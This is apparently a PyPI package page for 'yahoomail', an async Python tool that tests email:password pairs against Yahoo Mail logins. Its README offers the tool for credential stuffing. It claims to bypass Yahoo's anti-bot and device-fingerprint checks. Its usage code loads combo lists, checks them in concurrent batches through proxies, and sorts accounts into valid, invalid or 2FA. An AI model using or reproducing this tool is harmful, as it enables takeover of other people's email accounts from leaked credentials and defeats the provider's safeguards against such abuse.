Skip to main content

A high-performance, async Yahoo Mail login automator.

Project description

yahoomail

⚡ A fast and stealthy Python login checker for Yahoo Mail accounts bypasses multi-step login flow, device fingerprint challenges, and delivers accurate status in milliseconds.


🚀 Features

  • 🔁 Fully asynchronous (via httpx.AsyncClient)
  • 🔍 Fast-path + fallback HTML form parsing
  • 🔐 Bypasses Yahoo's anti-bot login system
  • 🎯 Precise detection: SUCCESS, INVALID, 2FA, ERROR, UNKNOWN
  • 🧠 Regex-based turbo form extraction (1-pass)
  • 🌐 Proxy support: http, socks5, with multiple formats
  • 📡 Optimized headers & fingerprint handling
  • 🧪 Debug-ready (optional HTML dumps at every step)
  • 📦 Includes batch checker with configurable concurrency

📦 Installation

pip install yahoomail Or clone locally:

git clone https://github.com/anarchy223/yahoomail.git
cd yahoomail
pip install -r requirements.txt

⚙️ Usage

✅ Basic login check

from yahoomail import login

email = input("Enter Yahoo email: ")
password = input("Enter password: ")

status, message, duration_ms = login(email, password)
print(f"[{status}] {message} ({duration_ms}ms)")

🌍 Set a proxy

You can use the function: set_proxies("YOUR PROXY") to set a proxy. Here an example:

import asyncio
from yahoomail import set_proxies, run_batch

set_proxies("user:pass@host:port")

def load_combos(file_path):
    combos = []
    with open(file_path, "r", encoding="utf-8") as f:
        for line in f:
            line = line.strip()
            if not line or ":" not in line:
                continue
            email, password = line.split(":", 1)
            combos.append((email, password))
    return combos

creds = load_combos("combo.txt")
results = asyncio.run(run_batch(creds, concurrency=10))

for email, status, message in results:
    print(f"{email}{status}: {message}")

Supports formats :

  • user:pass@host:port
  • host:port
  • host,port,user,pass
  • host:port:user:pass

🚀 Batch checking (async)

import asyncio
from yahoomail import run_batch

def load_acc(file_path):
    combos = []
    with open(file_path, "r", encoding="utf-8") as f:
        for line in f:
            line = line.strip()
            if not line or ":" not in line:
                continue  
            email, password = line.split(":", 1)
            combos.append((email, password))
    return combos

creds = load_acc("accounts.txt")
results = asyncio.run(run_batch(creds, concurrency=10))
for email, status, message in results:
    print(f"{email}{status}: {message}")
Code Meaning
SUCCESS Valid login detected (your accounts is mostly valid!)
Invalid Invalid account
2FA 2-Factor Authentification (or means other errors)
Error Proxy / network / internal error (Or just Yahoo maybe implemented another level cap of security (ya need to check).
Unkown I fucked up...

🧰 Advanced

Enable debug HTML saves: Uncomment or modify the global flag in your script:

ENABLE_DEBUG_FILES = True

It will save HTML dumps per stage for inspection (eg: new security...)

🧠 How it works

This module emulates Yahoo Mail login behavior by reproducing:

  • Initial tokenized form loads
  • Username + password flow separation
  • Dynamic fingerprinting step
  • Cookie-based login validation
  • Full proxy routing with timeout handling
  • No Selenium. No headless browser. Just pure, clean HTTP emulation.

📜 License

Creative Commons Attribution-NonCommercial-ShareAlike 4.0 (CC BY-NC-SA 4.0)

  • ✅ You can use, study, modify, and share this project.
  • Commercial use (resale, SaaS integration, paid API, etc.) is strictly prohibited.
  • 🧠 You must give credit to the original author.
  • 🔁 If you modify it, you must release your version under the same license.

🔗 Read the full license terms here

☕ A note

This project was born from one simple idea: "If there's no public API... then I become the API."

Enjoy.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

yahoomail-1.1.0.tar.gz (3.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

yahoomail-1.1.0-py3-none-any.whl (3.2 kB view details)

Uploaded Python 3

File details

Details for the file yahoomail-1.1.0.tar.gz.

File metadata

  • Download URL: yahoomail-1.1.0.tar.gz
  • Upload date:
  • Size: 3.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.2

File hashes

Hashes for yahoomail-1.1.0.tar.gz
Algorithm Hash digest
SHA256 8e6b01faf9a8ac05b5c937bef6d5c0dba9eee70869848be9f231c15beeeb67d4
MD5 673ca86ee0566fdf85892d9bc1d02d8f
BLAKE2b-256 fd7e48602705c00526e689ddb7e86503feab72e6a17b20b9519db79c04ca340a

See more details on using hashes here.

File details

Details for the file yahoomail-1.1.0-py3-none-any.whl.

File metadata

  • Download URL: yahoomail-1.1.0-py3-none-any.whl
  • Upload date:
  • Size: 3.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.2

File hashes

Hashes for yahoomail-1.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 a437340e234923e4e6f6f96997e74ca36a753cf9d330e4d47bb548fa9193bde1
MD5 ba74b6caa0e5f3ef1359eb073f08b3ca
BLAKE2b-256 9b7689b474ac002ec7456683f76d8971a4b08473b4c02db2f763c7a9b830130e

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page